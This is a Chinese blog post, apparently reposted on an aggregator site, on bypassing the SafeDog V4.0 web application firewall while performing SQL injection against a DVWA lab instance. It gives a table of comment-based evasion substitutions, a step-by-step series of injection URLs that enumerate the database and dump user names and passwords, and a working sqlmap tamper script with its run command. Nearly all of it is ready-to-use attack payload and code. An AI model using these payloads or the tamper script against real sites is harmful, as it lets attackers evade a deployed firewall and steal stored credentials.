当前位置:首页 » 《休闲阅读》 » 正文

网站安全狗V4.0绕过姿势_干铮的博客

15 人参与  2022年02月03日 09:27  分类 : 《休闲阅读》  评论

点击全文阅读


网站安全狗下载地址:

网站安全狗-网站安全防护,防后门|防SQL注入|防CC攻击|网马查杀|防篡改icon-default.png?t=L892https://www.safedog.cn/website_safedog.html

DVWA下载:

链接:https://pan.baidu.com/s/1XZXC3r_LhtY9s7xJM_NAYQ 
提取码:kun6 
--来自百度网盘超级会员V3的分享

已DVWA SQL注入为例对网站安全狗进行绕过测试。

1.查看安全狗防御规则匹配库。

 

2.绕过分析

字符

绕过方法

and

/*!14400and*/

order by

/**/order/*/%0a*a*/by/**/

union select

union/*!88888cas*//*/%0a*a*/select/**/

database()

database(/*%%!AJEST%%%%*/)

from information_schema.tables

/*!from--%0f/*%0ainformation_schema.tables*/

from information_schema.tables

/*!from--%0f/*%0ainformation_schema.columns*/

count(*)

count(1)

3.手工绕过

1.判断列数。
?id=5'/**/order/*/%0a*a*/by/**/1/**/--+
?id=5'/**/order/*/%0a*a*/by/**/2/**/--+
?id=5'/**/order/*/%0a*a*/by/**/3/**/--+
2.判断显示位。
?id=5'/*//*/union/*!88888cas*//*/%0a*a*/select/*//*//*//*/1,2/*//*/--+
?id=5'/**//*!14400and*//**/1=2/*//*/union/*!88888cas*//*/%0a*a*/select/*//*//*//*/1,2/*//*/--+
3.查询数据库名。
?id=5'/*!14400and*/1=2/*//*/union/*!88888cas*//*/%0a*a*/select/**//*//*/database(/*%%!AJEST%%%%*/),2/**/--+
4.查询所有的表名。
?id=5'/*//*//*!14400and*//*//*/1=2/*//*/union/*!88888cas*//*/%0a*a*/select/**//*//*/table_name,2/*//*//*!from--%0f/*%0ainformation_schema.tables*//*//*/where table_schema=database(/*%%!AJEST%%%%*/)/**/--+
?id=5'/*//*//*!14400and*//*//*/1=2/*//*/union/*!88888cas*//*/%0a*a*/select/**//*//*/table_name,2/*//*//*!from--%0f/*%0ainformation_schema.tables*//*//*/where table_schema=database(/*%%!AJEST%%%%*/)/**/limit/*//*/0,1--+
?id=5'/*//*//*!14400and*//*//*/1=2/*//*/union/*!88888cas*//*/%0a*a*/select/**//*//*/group_concat(table_name),2/*//*//*!from--%0f/*%0ainformation_schema.tables*//*//*/where table_schema=database(/*%%!AJEST%%%%*/)/**/--+
5.获取字段名字。
?id=5'/*//*//*!14400and*//*//*/1=2/*//*/union/*!88888cas*//*/%0a*a*/select/**//*//*/column_name,2/*//*//*!from--%0f/*%0ainformation_schema.columns*//*//*/where table_name='users'/*//*//*!14400and*//*//*/table_schema=database(/*%%!AJEST%%%%*/)--+
?id=5'/*//*//*!14400and*//*//*/1=2/*//*/union/*!88888cas*//*/%0a*a*/select/**//*//*/column_name,2/*//*//*!from--%0f/*%0ainformation_schema.columns*//*//*/where table_name='users'/*//*//*!14400and*//*//*/table_schema=database(/*%%!AJEST%%%%*/)/*//*//*!limit*//*//*/0,1/*//*/--+
?id=5'/*//*//*!14400and*//*//*/1=2/*//*/union/*!88888cas*//*/%0a*a*/select/**//*//*/column_name,2/*//*//*!from--%0f/*%0ainformation_schema.columns*//*//*/where table_name='users'/*//*//*!14400and*//*//*/table_schema=database(/*%%!AJEST%%%%*/)--+
6.获取字段内容。
?id=5'/*//*//*!14400and*//*//*/1=2/*//*/union/*!88888cas*//*/%0a*a*/select/**//*//*/user,password/*//*//*!from*//*//*/users --+
?id=5'/*//*//*!14400and*//*//*/1=2/*//*/union/*!88888cas*//*/%0a*a*/select/**//*//*/user,password/*//*//*!from*//*//*/users/*//*//*!limit*//*//*/0,1/*//*/ --+

 4.sqlmap编写tumper绕过

#!/usr/bin/env python
"""
Copyright (c) 2006-2019 sqlmap developers ([url]http://sqlmap.org/[/url])
See the file 'LICENSE' for copying permission
Author:LUSHUN
"""

import re
import os

from lib.core.data import kb
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS

__priority__ = PRIORITY.LOW

def dependencies():
    singleTimeWarnMessage("Bypass safedog4.0'%s' only %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))

def tamper(payload, **kwargs):
        payload=payload.replace('AND','/*!11440AND*/')
        payload=payload.replace('ORDER','order/*!77777cz*/')
        payload=payload.replace("SELECT","/*!11440SELECT*/")
        payload=payload.replace("SLEEP(","sleep/*!77777cz*/(")
        payload=payload.replace("UPDATEXML(","UPDATEXML/*!77777cz*/(")
        payload=payload.replace("SESSION_USER()","/*!11440SESSION_USER()*/")
        payload=payload.replace("USER())","USER/*!77777cz*/())")
        payload=payload.replace("DATABASE()","DATABASE/*!77777cz*/()")
        payload=payload.replace("ORDER BY","/**/order/*/%0a*a*/by/**/")
        payload=payload.replace("UNION","union/*!88888cas*/")
        payload=payload.replace("UNION","union/*!88888cas*/")
        payload=payload.replace("from information_schema.tables","/*!from--%0f/*%0ainformation_schema.tables*/")
        payload=payload.replace("from information_schema.columns","/*!from--%0f/*%0ainformation_schema.columns*/")
        payload=payload.replace("count(*)","count(1)")
        payload=payload.replace("as","/*!14400as*/")
        payload=payload.replace("char","/*!14400char*/")        
        return payload
sqlmap -u "http://192.168.174.133/DVWA-master/vulnerabilities/sqli/?id=2&Submit=Submit#" --cookie "security=low; security=low; PHPSESSID=hp0jf1elvpjdg8jdk08j4rik56" -p id --tamper "safedogbypass" --random-agent -v3 --dbs  --fresh-queries


点击全文阅读


本文链接:http://www.zhangshiyu.com/post/34220.html

绕过  网站  字段  
<< 上一篇 下一篇 >>

  • 评论(0)
  • 赞助本站

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

最新文章

  • 无弹窗全文(许轻衣陆庭深)冷战两年,她离婚他发疯全文畅享阅读
  • 完结文爱如溺海恨意难休结局+番外免费列表_完结文爱如溺海恨意难休结局+番外免费(司漾许澄意柳眠眠)
  • 三国之召唤妖孽系统大反击_刘协精选作品_小说后续在线阅读_无删减免费完结_
  • 我盼孤身纵马,四海任我游在线阅读_蔺昭魏迟连蔺昭更新_小说后续在线阅读_无删减免费完结_
  • 终章小说姜挽宁段秉谦:结局+番外(愿负光阴也负你)已更新+延伸(愿负光阴也负你)清爽版
  • 奉命吃瓜后,我的瓜田遍布全世界是什么小说(云似初叶见深)(奉命吃瓜后,我的瓜田遍布全世界)全本完整清爽版在线+无广告结局
  • (姜挽宁段秉谦)姜挽宁段秉谦小说(愿负光阴也负你)小说全集速览无广告高口碑小说
  • 重生到末日高温前,被污蔑成荡妇的我自请下堂后续+完结_陈风婆婆林溪超长版_小说后续在线阅读_无删减免费完结_
  • 人家拿命下副本,你却用假身逃课?无错版_陈林连载_小说后续在线阅读_无删减免费完结_
  • 完结文犹若清风梦了云宝藏列表_完结文犹若清风梦了云宝藏(晏临渊叶知薇)
  • 儿子来自六年后:结局+番外免费品鉴:结局+番外评价五颗星
  • 完结文开挂辅助成团宠,全星际争当大冤种!结局+番外高口碑列表_完结文开挂辅助成团宠,全星际争当大冤种!结局+番外高口碑(白希薇)

    关于我们 | 我要投稿 | 免责申明

    Copyright © 2020-2022 ZhangShiYu.com Rights Reserved.豫ICP备2022013469号-1